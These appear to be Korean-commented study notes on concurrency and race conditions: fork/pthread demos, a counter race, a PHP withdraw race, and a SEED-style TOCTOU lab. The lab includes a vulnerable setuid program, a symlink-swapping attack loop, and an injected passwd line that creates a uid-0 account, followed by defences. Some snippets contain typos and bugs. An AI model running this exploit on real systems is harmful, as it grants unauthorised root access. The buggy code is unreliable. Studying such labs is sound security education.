#include <stdio.h>
#include <unistd.h>
void main(void){
int pid;
printf("PID=%d,in BEGIN printf\n", getpid());
pid = fork();
if (pid ==0){
for (int k=0; k<25; k++){
usleep(50000);
printf("PID=%d : Child printf****\n",getpid());
fflush(stdout);
}
}else if (pid>0){
for(int n=0; n<25; n++){
printf("PID = %d : Parent printf\n", getpid() );
fflush(stdout);
usleep(50000);
}
}else
printf("fork()eroor\n");
printf("PID = %d, in END printf \n", getpid() );
}

#include <stdio.h>
#include <pthread.h>
void *PrintHello (void *arg){
printf("%s\n",(char *)arg);
return NULL;
}
void main() {
pthread_t p1,p2;
printf("main:begin\n");
pthread_create(&p1,NULL,PrintHello,"P1");
pthread_create(&p2,NULL,PrintHello,"P2");
pthread_join(p1,NULL);
pthread_join(p2,NULL);
printf("main: end\n");
}


#include <stdio.h>
#include <pthread.h>
#include "mythreads.h"
static volatile int counter = 0;
// mythread()
// counter를 1e7 번 1씩 증가시키는 스레드 함수
void *mythread(void *arg) {
printf("%s: begin\n", (char *)arg);
int i;
for (i = 0; i < 1e7; i++) {
counter = counter + 1;
}
printf("%s: done\n", (char *)arg);
return NULL;
}
// main()
// 스레드 두 개를 생성하고 모두 끝날 때까지 join
int main(int argc, char *argv[]) {
pthread_t p1, p2;
printf("main: begin (counter = %d)\n", counter);
Pthread_create(&p1, NULL, mythread, "A");
Pthread_create(&p2, NULL, mythread, "B");
Pthread_join(p1, NULL);
Pthread_join(p2, NULL);
printf("main: done with both (counter = %d)\n", counter);
return 0;
}

//count ++
movl count, %eax
incl %eax
movl %eax, count
function withdraw($amount)
{
$balance = getBalance();
if ($amount <= $balance){
// interrupt가 발생하면 예상치 못한 결과가 발생
$balance = $ balance - $amount;
echo "You have withdrawn $amount";
saveBalance ($balance);
}
eles {
echo "Insufficient funds";
}
}
잔액이 500원이고 두 사용자가 동시에 500원을 출금 요청을 했을 때, 경쟁상태에 빠져 실제 잔액이 2번빠지는 부정 출금이 발생할 수 있다.
if (!access("/tem/x",W_OK)) {
f=open("/tmp/X",O_WRITE);
write_to_file(f);
}
else {
fprintf(stderr,"Permission denied\n");
}
access("/tmp/X") → TRUE (seed가 쓸 수 있음)
[잠깐 시간 발생: 공격자가 symlink 변경]
/tmp/X → /etc/passwd 로 연결
open("/tmp/X") → root 권한으로 /etc/passwd 열림

ln -s /etc/passwd myln


file = "/tmp/x";
fileExist = check_file_existence(file);
if (fileExist == FALSE){
f= open(file, O_CREAT);
}
vulp.c
#include <stdio.h>
#include <unistd.h>
int main(){
// tmp/XYZ 문자열이 저장된 메모리 주소를 가르킨다.
char *fn="/tmp/XYZ";
char buffer[60];
FILE *fp;
scanf("%50s",buffer);
if(!access(fn, W_OK)){
fp = fopen(fn, "a+");
fwrite("\n", sizeof(char), 1, fp);
fwrite (buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
}
else printf("No permission \n");
return 0;
}
A1: /tmp/XYZ → 공격자가 만든 정상 파일
V1: access("/tmp/XYZ") → OK! (유저 권한으로 검사)
A2: /tmp/XYZ → /etc/passwd로 심볼릭 링크 변경
V2: fopen("/tmp/XYZ") → 실제로는 /etc/passwd가 열림 (root 권한)
//passwd_input 파일의 역할
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
// target_process.sh
#!/bin/bash
CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" = "$new" ]
do
./vulp < passwd_input
new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed."
//atack_process.c
#include <unistd.h>
int main()
{
while(1){
unlink("/tmp/XYZ");
symlink("/home/ubuntu/myfile", "tmp/XYZ");
usleep(10000);
unlink("/tmp/XYZ");
symlink("/etc/passwd", "/tmp/XYZ");
usleep(10000);
}
return 0;
}



#include <sys/types.h>
#include <sys/stat.h>
#include <sys/access.h> // 어떤 시스템에서는 <unistd.h> 의 access 사용
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
void write_to_file(int fd) {
const char *msg = "secure write\n";
write(fd, msg, 13);
}
int main(void) {
struct stat stat1, stat2, stat3;
int fd1, fd2, fd3;
/* Window 1: 첫 번째 open 전 권한 체크 */
if (access("/tmp/XYZ", O_RDWR)) {
fprintf(stderr, "Permission denied\n");
return -1;
}
/* Window 2 */
fd1 = open("/tmp/XYZ", O_RDWR);
if (fd1 < 0) {
perror("open fd1");
return -1;
}
/* Window 3: 두 번째 open 전 권한 체크 */
if (access("/tmp/XYZ", O_RDWR)) {
fprintf(stderr, "Permission denied\n");
close(fd1);
return -1;
}
/* Window 4 */
fd2 = open("/tmp/XYZ", O_RDWR);
if (fd2 < 0) {
perror("open fd2");
close(fd1);
return -1;
}
/* Window 5: 세 번째 open 전 권한 체크 */
if (access("/tmp/XYZ", O_RDWR)) {
fprintf(stderr, "Permission denied\n");
close(fd1);
close(fd2);
return -1;
}
fd3 = open("/tmp/XYZ", O_RDWR);
if (fd3 < 0) {
perror("open fd3");
close(fd1);
close(fd2);
return -1;
}
/* 세 fd가 같은 inode를 가리키는지 확인 */
fstat(fd1, &stat1);
fstat(fd2, &stat2);
fstat(fd3, &stat3);
if (stat1.st_ino == stat2.st_ino && stat2.st_ino == stat3.st_ino) {
/* 세 번 모두 같은 파일을 가리키면 쓰기 수행 */
write_to_file(fd1);
} else {
fprintf(stderr, "Race detected: inode changed\n");
}
close(fd1);
close(fd2);
close(fd3);
return 0;
}
uid_t real_uid = getuid();
uid_t eff_uid = geteuid();
seteuid(real_uid);
f=open("tmp/x", O_WRITE);
if (f != -1)
write_to_file(f);
else
fprintf(stderr, Permission denied\n")
setuid (eff_uid);